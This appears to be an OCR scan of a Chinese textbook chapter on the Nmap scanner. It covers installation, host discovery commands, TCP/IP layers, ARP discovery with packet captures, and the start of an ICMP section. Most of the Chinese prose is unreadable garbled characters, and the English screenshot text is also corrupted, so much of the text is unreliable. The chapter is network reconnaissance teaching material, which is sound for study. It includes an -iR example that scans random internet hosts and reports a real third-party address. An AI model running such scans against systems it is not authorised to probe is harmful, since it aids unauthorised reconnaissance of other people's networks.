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Nmap 1 H ) R &7 B F] & — 200 KA s 0 A4 T 2, (HEREE B ) & &, Nmap FUI6E
R ATH ., 2009 47 H 17 H, IR 242434 T.° Nmap 1E2U&0 1 5.00 hit, X2 H
1997 4F LIk B B KA, ARFRFE Nmap A Ta] B FR) X 2 1 42 i3l A28 B Sl 42 5 T ) 22 4
MM T B4, HAJ Nmap &85 3] 7.30 it
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PITER) Nmap CL 2 248 T W TH & FIheE
Q ENMEIRIEE: 0 BAnHEVLERFERNEIREAE, AR B0 RNCRIE E
BRI FIFOLIFER B PR
Q iwAE%E: W HAsEYLHE e O AL R IR EAE, AREMREE H bR O
IO A H T B A TF R
Q BRERARAREN . w b HBALA B frum 0 &R Eh R4l &, SRERIE Hirky
J N7 KA & 12 4 A 55 14 IR 95 2R AU FRRAS .
Q BERZEKQN: 10 BARTHEVURERREREHECA S, AJEHEE B A8 R &
P E R G RBIFRA
BRT X SLEATIEEZ 4, Nmap 8 SEI—2E G tHRAR, Filinthis A& s i S0,
BRI, Pk BARMY L 2P S (Bl ki), W REHTLLWFEEN, TR
SEE MRS I AE . TEJa R WT &K B, BiE% Nmap 58 KIYIAT| % (NSE) W, 1%
faf NFEB AT LA W] Nmap H 38 s i D REAE R
WS H Nmap Xf— & iHEMLEE T T, SAAT LA B FE R
Q B EVLRBTEL
Q HAn =YL TEM 25 4544 o
Q BFRENL TR T, FIhn 80 ST . 135 il . 443 ¥ 14,
Q HEr EVLFHE A R#EAIE R4, #110 Windows 7. Windows 10, Linux 2.6.18. Android
4.1.2 %%,
Q HAs EVL LBz 47 89 ik 55 WA B A, 41 4 Apache httpd 2.2.14, OpenSSH 5.3pl.,
Debian 3. Ubuntu 4 %,
Q BAREVL EFTEERTRT, FlngEr4 . ms08 067, msl0 054 &,
Wk BAr(E BB E 2 A h 2 CEE N —H5 TAE. ntk—k, XFBiaiIEER
T HETRE

1.2 Nmap ) &5 &%

FEHF G IEX TAEZ AT, BT Z M Nmap BB 7 M ik (https://Nmap.org/download.html )
T ERRCEER A, B R U R AL TR AN R ERE R G RAS AR A B 5
%o o e BV E R BRI RRUAS .

1.2.1 1£ Windows &% F&3&ES &, Nmap
F 1. T % Nmap., 7 Windows T % %% Nmap B, 2 R a5 24P R AS ) Nmap,
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— MR, H— e, X AE R Nmap-7.12-setup.exe A, B 1-2 4H T iE
HIT Windows #2/E R4t Nmap F#iihk .

Microsoft Windows binaries

-“1” R "~ Fleace re==d the Windows z=ction Djf the Insta.}l Guide for lin‘dt?tiuns and installati
b et w0 e W¥map, Jou can choose from a self-installer [includes dependencies znd zlso the Zenm|
e I_| o file version We support Nmap on Windows 7 and newesr, =z well =5 Windows Server 200
S =ee=who mast run Nrap on sarlier Windows relezses. .

— | The Hmap executable Windows installer can handle WinPeap installation, registry
lexccutables and dota files into your preferred locotion. Tt also inclodes the Zenma)
- (of the Windows zip files with a self-installer:

atest development release self—installer: rmap-7. 25BETAR—setup. exe
atest stable release self-installer: rmap-7.12-setup. exe ¢

¥ [T
S TR T ————

i [pee [ #ee | We have written post-install usaze dnstrustions. Please notify us i you encounter

O

installer.

For thoze who prefer the command-lins zip files (Instzllation [nstructions; Uszze I.nstruc'til:vnsj, they are still
ot included with these, =0 you need to run omezp. exe from = DOS/command window. Or you can download and install
included with the free Cypwin system Also, vou need to run the Winpesp and Microsoft Wisusl C++ 2013 BEedistril
the zip file. The main advantage 1= that these zip files are a fraction of the =ize of the executable installes

Latest development command—line zipfile: rmap-T. ZEBETAZ-winiZ, zip
Latest stable command—line zipfile: mmap-T. 1Z2-win3i, zip

K 1-2 & AT Windows #4E RS Nmap T bk

S 2 . Ji8 Nmap ZoRF, EHEMIANLEE (HERF), winl LA SR 1-3 froR 4k
L PFAR 2 4F o

{7 Nmap Setup &_‘Q‘

Choose Components =
(47

Choose which features of Nmap you want to install.

Checdk the components you want to install and undhedk the components you don't want to
install, Click Next to continue,

Select components toinstall: [T 4| _ooewn
Register Nmap Path

WinPcap 4.1.3

Network Performance | -
Zenmap (GUI Frontem 1
Mcat (Modern Metcat
Ndiff (Scan compariso—
Mping {Packet general _

[ Space reguired: 80,8MB :
4 [ p

| <Back || mext> | [ cancel |

Bl 1-3 Nmap L3R A EFF

|3 ELAEP, BoL—/ WinPcap i, WIRZATHEA %31t WinPcap,
T ER AT . WORZHTR TR 22 e A B L g B, #F i — A~ an &
-4 JRBOXSAAHE, R 2y “ie” fSalsinl BT .

TR 4. ZIEHERE R TE BT Next 326107, EHBISERCLEE, WE 1-5 Fim.

PB|S . WRSEMUE, AILATE Windows #r47% H HH I A Nmap 7% )5 3l Nmap, 4
& 1-6 s
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. 5
WinPcap (Nmap) 4.1.3 Setup I%j

Skipping WinPcap installation since version 4.1.0.2980 already exists on
this system. Uninstall that version first if you wish to force install.

| ==
Kl 1-4 Nmap % %% Tis 2B WinPcap
rl,." Nmap Setup [ =) |
Finizhed —
Thank you for instaling Nmap ( 4')

Mmap has been installed on your computer,

Click Finish to dose this wizard.

: Badk Finish Cance

A 1-5 Nmap 223505

BS S5 CAWindows\system3aZemd.exa T (o=l
icrosoft Windows [[R7F 6.1.766811 N\
H X, Eﬁ_ﬁ (c)> 2087 Microsoft Corporation. 1? E &'Fr_ﬁ‘*ﬁ ?|| o ‘=
slserssadmin >nmap
map 7.12 { https://nmap.org >
sage: nmap [Scan Typed<s>»] [Options] {target specification’
ARGET SPECIFICATIONM: [l
Can pass hostnames, IP addresses,. networks, etc.
Ex: scanme.nmap.oryg, microsoft.coms24, 192.168.8.1; 18.0.8-255.1-254
=il <inputfilename>: Input from list of hosts networks
—iR <num hosts*: Choose random targets
—exclude <hostil,host2]1[.host3]....>: Exclude hosts/networks
—excludefile <{exclude_file?*: Exclude list from file
OST DISCOVERY:
—zL: List Scan - =imply list targets to scan [
—=n: Ping Scan - diszable port =scan
—Pn: Treat all hosts as online — skip host discovery
-PS A PA-PU-PY[portlistl: TCP SYNAACK. UDP or SCIP discovery to given ports
—-PE/PP-PH: ICHMP echo, timestamp, and netmask request discoverwy probes
—POI[protocol listl: IP Protocol Ping
-n/=R: Hever do DNE resolutionsAlways resolve [default: sometimes]
——dns—servers {(servll.serv2Z]l. ...>»: Specify custom DNS servers
——zyztem—dnz: Usze 05’z DNE resoluver
——traceroute: Trace hop path to each host
SCAN TECHNIQUES : -

&l 1-6  Windows T AE¥EE F Nmap iia1 75
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1.2.2 1E Linux &% %3 Nmap

— L TR AT M % e TAEM Linnx BAER G P E LW % T Nmap, 4N
BackTrack R4 M1 Kali R4, Kl Linx #ER G PR E AT LR, MRREFE
24 %% | RPM Package Manager (RPM 3K} #i4r ), B4 Nmap BYZHRK 2B+ 0
il B, WRRGEEA LR RPM, WATLIEfr&3E, T LA Ubuntu B4, RWT d L
% RPM,

sudo apt-get install rpm

ZJa RS AR 2 BT LASE A Nmap S H 20 1R 223

rpm -vhU https://Nmap.org/dist/Nmap-7.25BETA2-1.x86 64.rpm
rpm -vhU https://Nmap.org/dist/zeNmap-7.25BETA2-1.noarch.rpm
rpm -vhU https://Nmap.org/dist/ncat-7.25BETA2-1.x86 64.rpm
rpm -vhU https://Nmap.org/dist/nping-0.7.25BETA2-1.x86 64.rpm

R, EIEALA) Nmap 4 Zenmap K T noarch 4%

1.3 Nmap 5L AR EHIE
{6 FF] Nmap 55 39 7 0Bt 1 i S48 A Nmap 1 < B4R 1P Hihik >, i,

Nmap 192.168.0.1

TR A T I A A R

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-09-07 09:39 @
Nmap scan report for 192.168.0.1 @
Host is up (0.030s latency). 3
Not shown: 997 closed ports @
PORT STATE SERVICE ®
23/tcp open telnet ©®
80/tcp open http

5431 /tcp open park-agent

MAC Address: D8:FE:E3:B3:87:A9 (D-Link International) @
Nmap done: 1 IP address (1 host up) scanned in 4.71 seconds ®

PR T, OB 1T YF#E R Nmap AR 7.12, GF#TFIHEE R 2016-09-07 09:39,

QE— R, AR EET 192.168.0.1 EHLAGHRAE .

@ BFR EHLAPIRZS N up (BHRE X & EVUETIFHLFFE LT BRI APRES)

WFRRNTEHATR AR 1000 Mg, A 997 42K HHY .

@ —ik®ER, XkERFH—HEH=1FE, 4752 PORT. STATE., SERVICE, H
PORT 16/ 24%q H , STATE 524K 4, SERVICE f8H21afTHIIRSS .

B4, ©+ PORT ¥ i{E & 23/tcp, STATE 3] () {8 A open, SERVICE % f{{E A telnet,
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SERECIK S Uk Nmap & 3 HARTHE L E /Y 23 S35 0 HRiTAN THECRE, X4~ O 244t
telnet IR 55

D% 1 T BAr EVLEE ik & D8:FE:E3:B3:87:A9, MG IE S s Bl LIE HX
J&—f D-Link B9 ZK FH#H 4%

@ T4xdx) | & FHBATHEHE, &1 SRER up BN, FERF 4.71 B,

1.4 HHa76 6

X ik teE T ERABEPASKMY, FiEHR, EARKI T Nmap, £ TF Rk EX#HZ
EET, NFREFREB I ENX G IP i, ARETRTEZHELSH LRI X ESHHE
Mo FXFEXEHEMGMEEN, LMK S AN EERIEHER, &%k X
RATHRHEE N FREERAGERALBER —AMEF, FUNINERRLLGEBT

X ik AT AN IPAZE, RILIP ¥k -2 192.168.0.2, #AL% 255.255.255.0, #F
2 X 89 hk B ZFEAE 192.168.0.1 2] 192.168.0.255 Z 8], FLAE & ] £ 69k 3k 2 e XA TS
B A AT A AL T AL B RR S 09 ZAUAR R B R

12T ORIRATRTE Qnfer i e 4 Y T

1.4.1 XESSeERRENHI TR
1.3 WEZENE T i xF—A4~ BFrE P 8 1P bk #7M E, T EXHEEmBENKEZ B
PRt AT o
A EE: Nmap [IP MM HE ]

Ban, FE13EEIE A, XUITHE AT RUREA G0 F iy < SR 28 41 # VB FL R 192.168.0.1 ~
192.168.0.255 AL,

Nmap -sn 192.168.0.1-255

T2 AR R AR R o

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-09-14 13:03

Nmap scan report for 192.168.0.1

Host 1s up (0.041ls latency).

MAC Address: D8:FE:E3:B3:87:A9 (D-Link International)

Nmap scan report for 192.168.0.3

Host is up (0.090s latency).

MAC Address: CC:D2:9B:2B:11:78 (Shenzhen Bopengfa Elec&Technology)
Nmap scan report for 192.168.0.2

Host 1s up.

Nmap done: 255 IP addresses (3 hosts up) scanned in 6.40 seconds
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FEIX BLA] DUE B8 o X ek, EXANF P IEE 3 5%, BN, N T AR
B, [T -sn 28, -sn BARR & SOBES 2 EN4,

1.4.2 JEANFRFH T

Nmap % £#{# [ CIDR ( Classless Inter-Domain Routing, JoZE5I3RE] ) A9 =0k
AT,

WAL Nmap [IP 3udk / HEAH )

B 13 WIETE A, iR E A 192.168.0.1 ~ 192.168.0.255 3X 4~ M Bl ) &
B, @] LS AT 4.

Nmap -sn 192.168.0.1/24

N2 S BRI AIETR

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-09-14 13:19

Nmap scan report for 192.168.0.1

Host is up (0.0040s latency).

MAC Address: DB8:FE:E3:B3:87:A9 (D-Link International)

Nmap scan report for 192.168.0.3

Host is up (0.065s latency).

MAC Address: CC:D2:9B:2B:11:78 (Shenzhen Bopengfa Elec&Technology)
Nmap scan report for 192.168.0.2

Host 1s up.

Nmap done: 256 IP addresses (3 hosts up) scanned in 5.57 seconds

1.4.3 WS NRNESERENFHI TR

Nmap Al A—R W EA T, WX LEEH A Hin bbb AR e R, IR LA
b H bR Hichk FH 23 4% o3 B T 09 77 2k [R] I XX 26 EALHE T 6

#4ER: Nmap [ HHERL BHEHF2 - BHEEHF )

WX 192.168.0.1, 192.168.0.2., 192.168.0.3, 192.168.0.4 #EA7H4, Al LMEAII T4

Nmap -sn 192.168.0.1 192.168.0.2 192.168.0.3 192.168.0.4

HFRMBIEERIT

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-09-14 13:33

Nmap scan report for 192.168.0.1

Host i1s up (0.0040s latency).

MAC Address: D8:FE:E3:B3:87:A9 (D-Link International)

Nmap scan report for 192.168.0.3

Host is up (0.055s latency).

MAC Address: CC:D2:9B:2B:11:78 (Shenzhen Bopengfa Elec&Technology)
Nmap scan report for 192.168.0.2

Host 1s up.

Nmap done: 3 IP addresses (3 hosts up) scanned in 1.99 seconds
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1.4.4 R RHEERIEEBR

FEXF—S6 EHLHE TR, WRFFEHEER s 2 VL, T LI exclude #E5
A ERE: Nmap [ H#F ] --exclude [ B#F ]
B, nEIRNTA B 192.168.0.024 T M B, AN 192.168.0.2 #E473 4,

] DU R 54 .

Nmap -sn 192.168.0.0/24 --exclude 192.168.0.2

FMBIERATT

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-09-14 13:51

Nmap scan report for 192.168.0.1

Host 1s up (0.0040s latency).

MAC Address: D8:FE:E3:B3:87:A9 (D-Link International)

Nmap scan report for 192.168.0.3

Host is up (0.057s latency).

MAC Address: CC:D2:9B:2B:11:78 (Shenzhen Bopengfa Elec&Technology)
Nmap scan report for 192.168.0.5

Host is up (0.077s latency).

MAC Address: D8:55:A3:D9:DC:1D (zte)

Nmap done: 255 IP addresses (3 hosts up) scanned in 45.35 seconds

1.4.5 XN—NXAGFRIHBUSI=H 1T

PR, FTLORE B AL RAAAE—NME AR, [ e 0

QAR B W RN I LE s ik FEAT 4, IR A R UERAE A HH B A X L8 i 1k S A 2 R

Bl List.txt, W0FE 1-7 7. 25D 860 &0 TR0 S
BUR, SUEX K EATHE, THEH 1520 0.0
T EOHEX AN SO SO A EEREN T 152, 162.0.1
44E%: Nmap -iL [ XAXH ) e o
AT AR FRAr 4] List.txt oSBT

B 1-7  (FHICEHEAR list.txt 47 Hfr bl

Nmap -sn -iL List.txt

FRBIEERAT

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-09-14 14:20

Nmap scan report for 192.168.0.1

Host 1s up (0.0040s latency).

MAC Address: D8:FE:E3:B3:87:A9 (D-Link International)

Nmap scan report for 192.168.0.3Host is up (0.057s latency).

MAC Address: CC:D2:9B:2B:11:78 (Shenzhen Bopengfa Elec&Technology)

Nmap done: 7 IP addresses (2 hosts up) scanned in 3.35 seconds
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1.4.6 BEHFRESHER

Nmap Fb#RAL T — M HEW A BB IhEe, IR EMIL= 4 —t iR, 985 Nmap &%
X8 HARFE TR

#rA & Nmap -iR [ EARH3E

T E R AE BB R XT3 A4S TP HubE#EA T, AN e ST

Nmap -sn -iR 3

FRMBIERATT o

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-09-14 14:35
Nmap scan report for softbank219036207070.bbtec.net (219.36.207.70)

Host is up (0.12s latency).
Nmap done: 3 IP addresses (1 host up) scanned in 4.40 seconds

M

AREED—MUEVERTFLR, HEMAA T Nmap B3 K68, WEENZ T Nmap B4
k. TEARTERNG RS, RVIZELERE T 0 T 20M4 % Nmap, B H Nmap 45 R i1
B R FEAIEAE, AT A Nmap Xf48 @ Bl A B EVLEE T HT#F. T —BERHhna
Nmap )2 —PIIRE: AR — & LR G A TIRERES, DASAG I 53
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Eﬁiﬂ?ﬁﬂ?ﬁzi 02

“BOAE R R BFE— S LN EZ 2R FEIL, BLAXNASZEHIK A M Bt

XA AR EE EW, 1 HEEXF EIAEH FAEEPRER, fIEXHE—-8%
EEHRITER R R FIMNEL”, REEEANEE S, AR/ RSB IR TIE
AR XM, XNRGEFR F AL T FEREAETET, R —& FVEXM “4
Xfa” PR, IBAWBA AT REBEX AT B H4 T, RATSCOMEIRE D ETETR
ST H ML INREIEH B ML, 8 H XL VL EFCATERR VL, AT TR IR
r— & VLR EHER L.

REBANBLLTHNE

Q M PP SGHREVLRLEAR

Q ZET ARP MG R VLR B

Q FT ICMP PMXHITE R EVL R BLEIN -

Q FETF TCP P A IE R FHLA A .

Q 27 UDP WA TRER EVL A BLEOR

Q T SCTP UMY AIERR FENL A BEAR

Q Nmap 7GR EVL A5 DNS EH S BE T
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2.1 MWEERENRBBAR RS

W aiE—& EVLEAREREVLE? XOMEAFNERFEZBREAR, B/
T AR H DL 85

WS RTEB & - e, LB LSBT AR RE em], wmRE
FTHRFENER, EENSREITR “YER”, MROFENSEHBATIT, X848 i
BT X B FRAEEA AN, METFRHANRATGEREM T —PN%,

HEFEEX B PRCHEN — &, IBEFEEEPA XA E, BIEH A
TR B, B RN AEN RN, PTEES ], Al RBS T, ALt —LtfE
ODARBPANBAIHT X —SH#ETHER “BRAE”

T XA LAE , #EaT AR A b R 1 BR LR BB AR T o an SR AR R0 o 4% v ()
B EVRBATHBRE, FFAERTLCRHXA “@0 1 i, RS HEM L RS E
FTE RIS AR T T “B]” aE, WAl Uiis BR VLA B AR LS g2 W] HART &
PLAEREARAL, SR EVE) T XS i, IR TN, BT AKX & ELE
BREML. W 2-1 Fi7s, PCO BiAEM PC1 &4,

PC-PI PC-PT
PCO PCl1
A 2-1 FHLPCO [ EHL PC1 KSR
R PR S B Y [n] 7L

Q 2w B iR EVLA R A% e
Q 2% 5 EVE T axXA e, SRS H [ g7

2.2 MIZHMS LR BLEAR

A MEEFatR AR 4%, KFRFERELEAE, 21TESFAREE RS A E A N
TR — . X—VIERRBIE W B T E 0T T ML . W48 BIMSGE H 3% IR [E] 2RI &
HoRE, BNAR BRI BN 5 AEAR DI RE A AR XS PSR R TR 45 o -1 75
AR ST ORI . AR S, BT “&RHEeE, KrlHER . HETZEHEEA OSI
FI TCP/AP FF, AF5rhi K ARERIES R T TCP/IP 43 245H, TR AX A4 4 T R 15 32

TCP/IP P3G E W 2-2 fin, WFEIEARUCAMSEEN R, ME2E . ZH2E. N
Iz
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R | —| STMP FTP DNS SNMP NFS HTTP | ITELNET| _
fetif= TCP UDP
ICMP IGMP
) 2% 2 =
ARP RAPR
2 2 O )2 LAN MAN WAN

& 2-2 TCP/IP 43 2L

N 2442 11 JZ2 B D BB R0 TP B4, I 1A ST X S B Ak = HAR M 45 .

o 4% J2 %) Ty BB b S 3 I 2% 2 8] 9 B A%, AR R ECHE A0 1 TP M kb e 60 P\ — 1~ P 45
of B AR B r— M4 . A TAVHTRY ARP . TP . ICMP Bl . IGMP PR AE X
2.

i B PMLE AT D, 5 R TCP M1 UDP W1, ThRER i (5005 i F LRt b
B 5EH RS

N Z B DR e X & P & BIER, RS AEUT e B OF SR AR AR N 9 IR 55 . Bilan, P
I B A i WK HTTP B3, FTP #4. SMTP PMUEFERAEX —)Z2, N HZE MR 2 &
2.

XY 2.1 TR PFRIE]F A AXRR? Rikicfs 2B/ ANml], BRI
S BRI ? XF, BROFXRATE T — AR E o T ELAE BRI B R SUIE 1 s an [ iX 4~ 24 78
—F, XEPMHEIALE T IR — & AR B 51— S TRV R E A SR 5
ZUMTAREE . e, XA —A TEST HMY GXANEMLH BT HFAGAE, B HE R T 246
i, &% A EVLA B EHEGEFX ML), EME TR —6FH A WBRA TEHL B B
WAk R REER, IRABIE— BB N AL B AR RN K
iR (ks ExX A R TEAR 2 B AL M4 Bl hERFETE ) o

M4, WRBAEAAE FVL A BB NERFEVAE, ZEAM? RTREAIRKG T LM
E—A R, REBEEESL TN B, WRFEN B BIEKFEN, RamsSlzisk 5 B
“IN” PR, HMATE, ettt Aoz,

SEERERVEH, BT AR FH GRS B SL P, A R U T R R T R aA  E E
We? HiFhyJ7 Bt 22 I € Request For Comments (RFC) X84, Frfa MTMRIEHER ] LIZ
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ZRXA Y, X — RV AR T HEE S BEAS Y BB i AR MFE RFC SCHF R T
AV

1T RS 4 Nmap 55— NS4 -sn (ZRTRAS P& -sP, BFERA T -sn E), X
NS —FEPIREE, KA Nmap 7FEAHET, ALK HErB Wm0 Z 280915 BB
ok, (HER R BEEAEBREE AERE, MHATEXEFE, RESEEKE
FOEFIE], X B0 AT LA B XA S B0 48 E AN H bt H AHARAS B3E T34

A iE%: Nmap -sn [ HAF )

filan, %F192.168.0.1 #4744, FTLAPHAT F B .

Nmap 192.168.0.1

FRSERJE , Nmap BRIAERUT G B .

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-09-17 11:36
Nmap scan report for 192.168.0.1

Host 1s up (0.040s latency).

Not shown: 997 closed ports

PORT STATE SERVICE
23/tcp open telnet
80/tcp open http

5431/tcp open park-agent
MAC Address: D8:FE:E3:B3:87:A9 (D-Link International)
Nmap done: 1 IP address (1 host up) scanned in 4.01 seconds

ARG -sn 2%, WA & BRREAEREVX 55, £ Nmap FHITIH F a2,
Nmap -sn 192.168.0.1

AR 5ERUS, Nmap BRI BRI FER .

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-09-17 11:39

Nmap scan report for 192.168.0.1

Host is up (0.0040s latency) .MAC Address: DB:FE:E3:B3:87:A9 (D-Link International)
Nmap done: 1 IP address (1 host up) scanned in 1.94 seconds

NEELE &8 2 FREAT EVUR R MG T % .

2.3 3T ARP WMUMTE R EPL B AR

2.3.1  ARP MY fEHT

ARP P8 F TCPAP ThisUBE 482, XANERY B A 35 228 i D Ja Hi ik R 3
bR WSR2 S T2 S el B R S S R 1| R 7/ B2 v B 1= | ol 1 R TR = i R
A — B Y AL, AR R B B B AR — R A Z ik, X— R RIREEHE 1,
(B2 A AZX e B — A bk A2 2 5 fi] B —Lung 7
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WA e B BTG I — DB — A/ INB AR G I TE 5 — Ik i A — AL
Y, IR2M0T T E sl b AL ety , B A KN SR -, R Haieas
Leg, BETORPGE A RSB X ALY B A R

MR XA /NB BB LB EE—ENBE—mLWe? hE M, BERZHHRIER
g7 BARXFERBRG T, AT EEEX DALY, EHEEEEE, REHALD BT 5
177

A LUK B AT /N5 2% AN At B9 G- RH A BB R AN FEAS R BT & B AL, ThT /NS R A 1
T — & B G5 00 A% R — W BB B 5 0L, TR B BT A i X 2888 o] DL 4 BB X AN T A7 40
FRAE T ) — W B ) ML — BB, FIURAEAEAS ] R B ) AL A 5 — 3R 47

IR FEAARET, IBARANBAEBT B, e R R E A, 1
FIUAS R Bl AR e, (o 2 s bt , & I F A BEsbhEWE 7 S5 R WARIFIE ML, FEiit
RN R, U T 22 A v DLSE T A AT S5 o AR T Rl — M B 38 fE XL
JE Qn] 52 B W 7

R —M B, A M ENAR SR — el (B E RS, MAECKRD
HT) Mg, bl EARZED, 8MEO5 D EVE T MEME, ZHRlha—
DMABEFUFFR, XDFAaPEE 73 0 rd s m EV Y s b R, oA
K SR RA RE R ) R — N8 R B . (HJE IR B AR B Yy B b hE RS, X~ HuhE
SR e A AL A AR TR T o

flin, —&ZEnkh 192.168.0.1 B FEHL A 2 52 HiAk R 192.168.0.2 # FHL B #E17
HE, EREEI A XAFEEYL B (Y BEhE, XEEETE B —A 1] LOEZ s i b o i B
HHEA B, XIS Rk AT P (ARP), ‘BEFE RFC826 FitfT 1 E X,

e ETE AP s, #E ARP MHLE, EWLABMESEH —1 ARPIEK, WA K
SR TR T, REZEMAERE 192.168.0.1, &AW H bk 2 22:22:22:22:22:22, ZiEH
Hik R 192.168.0.2 ) EMLAE D ? T ZEMARIEATEAE, EHHE BRI EE AL, WE)E F
B, IANBARARU BB XA MEPRARSAH, A RAFENB LSS HE
N, A EN AR “hE, BRI Z AR R 192.168.0.2 M EAL, FRAGYEHIEE
33:33:33:33:33:33” , EHLA BRI XN EEALLZ)E, SHE 7 EVL B YA, 5P
MdARE, EHLA FMENLB BT LA RERE T o

7, WA BA A ARP fIFRATZ AT B LA TEST UrlA AR Z 4bWe? #1E ARP
ME, HMEN BRI H EVL A B ARP iR YEHEE, LB BN Y m =L A % 5 — [H]
N ARALF T, bR BN —MEREVAREARCEET

FF ARP SO BR EAL & BRE R A9 SRR . AN SRABZE 4138 Ab7E [R]— W BE A TP bty
¥Rk EALRS IR FENL, HFEWE A ARP iEREHEw, If) X, wiE ]
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TN, DB =L TR ER AL

KPR BEAR B ST W R e, AT Ak T [R]— P B i B AR BA Ik B X R e R
FNARAIESF ARP, AR 2K EWRAE TOEE E o SRR AR T X R R BBOR A BEXS Ab T AN ] R B i1
HAREALIEA T 4FA0, 8T HKEE Nmap U X FEARSLBLE R EVUA LAY .

2.3.2 7 Nmap {#EH ARP thGHITENLEZTL

M HIREVLS AT TR — M Be gy B4, A ARP iS4 4 1 AR g e e 43 B 16 %
AMUGERE e, PMERBEE BN, X2&FEA L2 1E IEE K ARP
K

fs F Nmap (#E51 -PR 587 LLSCEE ARP P EHLE I

A iE%: Nmap -PR [ BAF ]

B4y 192.168.1.1 FIH ARP PG T — Rk EH# , PATI0F B85

Nmap -sn -PR 192.168.1.1

REIRSGRIT .

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-08-13 11:29
Nmap scan report for 192.168.0.1

Host is up (0.0030s latency). @
MAC Address: D8:FE:E3:B3:87:A9 (D-Link International). @
Nmap done: 1 IP address (1 host up) scanned in 1.82 seconds

BT IP Mk Ay 192.168.1.1 MR & 2 /| MG R EVLIE T TR, MEE Rl LIE
7], QWM “Host is up” XULHIREMIGEERENL, ML H T 192.168.1.1 £ 19 HLH
hk (D8:FE:E3:B3:87:A9 ),

XA RS TAE RS R, HFEEMA PR,

HE 1, B—NHEN “who-has 192.168.0.1 tell 192.168.0.47 (¥ ARP &=k (FE4HN 21N
T) kik% Hir.

Frame 3221: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0
Ethernet II, Src: 08:10:76:6a:ad:30 (08:10:76:6a:ad:30), Dst: Broadcast
(fEf:ff:ff:f£:££:£F)
Destination: Broadcast (ff:ff:ff:ff:ff:ff)
Source: 08:10:76:6a:ad:30 (08:10:76:6a:ad:30)
Type: ARP (0x0806) @®©
Address Resolution Protoceol (request)
Hardware type: Ethernet (1)
Protocol type: IPv4 (0x0800)
Hardware size: 6
Protocol size: 4
Opcode: request (1) @
Sender MAC address: 08:10:76:6a:ad:30 (08:10:76:6a:ad:30)
Sender IP address: 192.168.0.4
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Target MAC address: 00:00:00 00:00:00 (00:00:00:00:00:00)
Target IP address: 192.168.0.1

b2 T XA ARP iE SR B0 A Y 58 A% 2. kDA K M i Sk ( Ethernet IT) Y
Destination 7Bt 0] LA Hi, X&) #&28 P40, X209 1 09 35 # bk Source 7 Bt 4
08:10:76:6a:ad:30, H AJHLHE Destination A fEALEEEFEFE, XE—) #&Hhb, FEARE
B EVACRENCENX S ARP TR EE AL

#£ Address Resolution Protocol # 43, O # B9 “ Type: ARP (0x0806)” % 7~ X & —
A~ ARP i #EfL, @AY “ Opcode: request (1)” FTnX &2 —MiFREBMPHIEL, X
3k T F O A2 ik “ Sender IP address: 192.168.0.4” A4 B sk “ Sender
MAC address: 08:10:76:6a:ad:30”, LA A ¢ 99 48 J5 1Y 2% %5 M Hk 192.168.0.1, {H J2& I B %
4 ) MAC b Bk iR 2 R, FrlAik B B ) Hb ik 52 Bt 8 “ Target MAC address:
00:00:00 00:00:00” .,

S B2, MEHEIS B T — 4 B ) ARP [7] i “ ARP reply 192.168.0.1 is-at
D8:FE:E3:B3:87:A9” (FEAAAINT) M93&, MRAUIBERZEREL.

Frame 3222: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0
Ethernet II, Src: D-LinkIn b3:87:a9 (d8:fe:e3:b3:87:a9), Dst: 08:10:76:6a:ad:30
(08:10:76:6a:ad:30)
Destination: 08:10:76:6a:ad:30 (08:10:76:6a:ad:30)
Source: D-LinkIn b3:87:a9 (d8:fe:e3:b3:87:a9)
Type: ARP (0x0806) @®
Address Resolution Protocol (reply)
Hardware type: Ethernet (1)
Protocol type: IPv4 (0x0800)
Hardware size: 6
Protocol size: 4
Opcode: reply (2) @
Sender MAC address: D-LinkIn b3:87:a9% (dB:fe:e3:b3:87:a9)
Sender IP address: 192.168.0.1
Target MAC address: 08:10:76:6a:ad:30 (08:10:76:6a:ad:30)
Target IP address: 192.168.0.4

FEIXAS ARP i) i Z AL, LUK MIWESk ( Ethernet I1) 1) Destination #3435 B{E 5L /& 2 A
ARP FRER LA Source Hihk . X NEHR AR E R .

7E Address Resolution Protocol #4, (DH¥ “ Type: ARP (0x0806)” F/~niX&=—> ARP
PR, @A) Opcode F-BtHIME N reply (2), " LIFZIXE—> ARP WL, K ARP i
SKALH Y A 38 T5 B9 D) BE H hE A28 48 B hE IR FEAZ B 13X~ ARP f b A9 R H B ) 2R L hE A E
bk, Bt UL ARP R AR ARP Wi 7 A H A4 kA B0 A

MREKRET ARP iEFREIERZ G, HRIRSAE] ARP W BHEA A, BT LLAK
% 1P Mk PIrAE B AN T BRE L
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2.4 HT ICMP il 76 Bk EPL BLBEA

2.41 ICMP 1N FRAT

ICMP BMARALF TCP/AP MhE M2, © B REFE IP WL, B as 2 h {58
EHEE . WAEMARGEEEN, BRMb—F, BRMbSEESHMEMER, A TR
HLAAL FEIX B84 1%, ICMP ( Internet Control Message Protocol, H.BK il #ig i) iz
M. FIFEXFREALRT DR SEBE R FAVL A B, 7 T ZH7 ARP FHLABEARKAKZ
Ja, f2k 1 fE—F ICMP U2 W AT i R EVL A LAY . A LA ARP &5 1 B9 TAER
i, ICMP WEE HRZ, {H ICMP [FFE 2 BB AT SR M. 3R 2-1 P45 T ICMP
e SCHIRE

% 2-1 ICMP L RyFhE

ICMP #2 3CFh 3 KPP E ICMP #3938
3 29 SW NI EHIbry
4 P i
ZERERAE AR OC 11 s
12 SRR
5 HE 7]
8 % 0 LG VAP NE T Es
h 13 3% 14 i} [ B R BN
AR 17 5% 18 b HE HERD T R Bl 2
10 5% 9 % Fh 8 1) 0] 5l

MF 2-1 AILIE W, ICMP B SCRT LA i mie . 28 A i), A i) SO —XT ik
IR E L, WatRul, EHLA B THRE—BER, TR ENL B &% ICMP HdEf, £
Pl B TEWRIX AN IR EZ G, A NS, X— M IEGFFA R IE R VM E K,
T LLX B A ICMP 3% R T 4L & BB A FH sl = A 141 50

ICMP Hidi & A A R SCRFET 3 25,

1. M AGERFNE

FH S 3R, A& 2% 5 12 WOR e 8% & H AR EHL TCP/IP thilUR & IE 7, R IE# .
